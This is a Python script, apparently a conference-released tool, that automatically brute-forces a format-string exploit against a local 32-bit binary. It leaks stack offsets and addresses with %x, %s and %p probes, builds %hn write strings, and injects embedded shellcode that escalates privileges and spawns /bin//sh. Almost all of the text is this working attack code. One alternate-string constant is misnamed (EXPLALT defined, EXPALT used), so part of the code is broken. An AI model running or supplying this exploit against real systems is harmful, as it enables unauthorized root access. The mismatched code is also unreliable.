#!/usr/bin/env python """ Created by Paul Haas , licensed under the GPLv3 Defcon Edition: Perform an invasive automatic format string bruteforce exploit on a given binary. """ import sys, struct from subprocess import call, Popen, PIPE # Step 1: Init binary = sys.argv[1] if len(sys.argv) > 1 else './printf' EXPSTR = "%08s%%%05ic%%%03i$hn%%%05ic%%%03i$hn" # 36 Characters EXPLALT = "%08s%%%000000012ic%%%03i$hn%%%03i$hn" # 36 Characters SHELLCODE = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" NOP = "\x90" # Used for 1-3 character padding EXPLEN = len(EXPSTR) MAXLEN = EXPLEN + len(SHELLCODE) # <100 characters depending on SHELLCODE def create_format_exploit(SADDRESS,SOFFSET,SADJUST,OVERWRITE): ''' Create an exploit string from given parameters. ''' OVERSTR = struct.pack("PP",OVERWRITE,OVERWRITE+2) # 32bit only w1 = SADDRESS & 0x0000FFFF # Assumes 32bit address w2 = (SADDRESS & 0xFFFF0000) >> 16 # Assumes 32bit address if w1 < w2: EXPLOIT = EXPSTR % (OVERSTR, w1-len(OVERSTR), SOFFSET, w2-w1, SOFFSET+1) elif w2 < w1: EXPLOIT = EXPSTR % (OVERSTR, w2-len(OVERSTR), SOFFSET+1, w1-w2, SOFFSET) else: EXPLOIT = EXPALT % (OVERSTR, w1-len(OVERSTR), SOFFSET, SOFFSET+1) EXPLOIT += NOP * SADJUST + SHELLCODE return EXPLOIT # Step 2: Dump stack = '' for offset in range(1,999): format = "%%%03i$x" % offset format += "\n" * (MAXLEN-len(format)) stdin = int(Popen([binary,format],stdout=PIPE).communicate()[0].strip(),16) stack += struct.pack('L',stdin) # 32bit only found = stack.find("%%%03i$x" % (offset-1)) if found != -1: SOFFSET, SADJUST = found/4+1, found%4 break # Step 3: Decode for offset in range(1,999): format = "%%%03i$s" % offset format += "\n" * (MAXLEN-len(format)) stdin = Popen([binary,format],stdout=PIPE).communicate()[0].strip() if ("%%%03i$s" % offset) in stdin: format = format.replace('$s','$p') stdin = Popen([binary,format],stdout=PIPE).communicate()[0].strip() SADDRESS = int(stdin,16) + EXPLEN break # Step 4: Exploit STARTOFFSET = SADDRESS - EXPLEN - SADJUST - (4*SOFFSET) for OVERWRITE in range(STARTOFFSET,SADDRESS,4): if OVERWRITE > 0xFFFFFFFD: continue # struct.error: 0xFFFFFFE + 2 # 2 Exploit strings neccessary due to string adjust + stack alignment issues EXPLOIT = create_format_exploit(SADDRESS,SOFFSET,SADJUST,OVERWRITE) if '\x00' in EXPLOIT: continue # TypeError: on NULL call([binary,EXPLOIT]) EXPLOIT = create_format_exploit(SADDRESS,SOFFSET+4,SADJUST,OVERWRITE) if '\x00' in EXPLOIT: continue # TypeError: on NULL call([binary,EXPLOIT])